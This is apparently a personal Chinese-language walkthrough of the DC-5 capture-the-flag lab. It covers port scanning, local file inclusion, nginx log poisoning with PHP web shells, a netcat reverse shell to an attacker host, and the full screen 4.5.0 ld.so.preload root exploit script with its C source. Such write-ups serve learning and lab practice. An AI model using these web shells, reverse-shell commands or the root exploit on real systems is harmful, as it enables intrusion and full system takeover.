1.发现主机 192.168.14.153
2.开启nmap端口扫描,开放了80,111,37620端口
3.访问站点,啥也没有
4.扫描后台文件,还是啥也没有
5. 然后看别人的笔记就是,每刷新一次thankyou.php,页尾的年份就会更新,别人扫出了个footer.php,推断出thankyou.php会包含footer.php,然后就猜想有文件包含漏洞,至于传递的参数是file应该是爆破出来的。
6. 尝试读取/etc/passwd文件
7.想尝试远程文件包含,但是不知道路径,就此作罢。
8.将一句话木马写入到PHP日志文件中,再包含文件
日志路径为:/var/log/nginx/access.log,是系统默认路径,或/var/log/nginx/error.log
<?php @eval($_POST['cmd']);?> 也是 可以的
<?php passthru($_GET['hh']); ?>
关于passthru()函数的快速描述
passthru - 执行外部程序并显示原始输出
然后访问http://192.168.174.153/thankyou.php?file=/var/log/nginx/access.log用蚁剑连就行。
9. 然后打开终端反弹shell到kali
nc -e /bin/bash 192.168.174.128 4444
10,再执行python -c “import pty;pty.spawn(‘/bin/bash’)”获得交互式的shell。
11.然后查看suid文件
Find / -perm -4000 2>/dec/null
没有见到一个眼熟的suid文件可利用的,screen-4.5.0这个我还 真不知道是什么,也不知道怎么利用。
screen为多重视窗管理程序。此处所谓的视窗,是指一个全屏幕的文字模式画面。通常只有在使用telnet登入主机或是使用老式的终端机时,才有可能用到screen程序。
12.然后searchsploit screen 4.5.0,直接利用41154.sh文件
Kali用python开启一个简单的服务器python3 -m http.server 80
靶机下载到本地,permission denied,我就直接在蚁剑上传到/tmp目录下。
13. 修改权限,却执行不了
14. 网上是将41154.sh文件进行拆解,原本内容如下
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
libhax.c文件
然后编译成libhax.so蚁剑上传,删除libhax.c文件。
Rootshell.c文件如下:
再编译成rootshell同样蚁剑上传。剩下部分就是dc5.sh的内容。要添加:set ff=unix 否则在执行脚本文件时后出错,也通过蚁剑上传。
添加dc5.sh x权限
然后执行dc5.sh就能成功提权
总结
最不理解的一点是提权那步,41154.sh为何执行不了,为何拆解之后就能成功提权呢,不是一样的吗?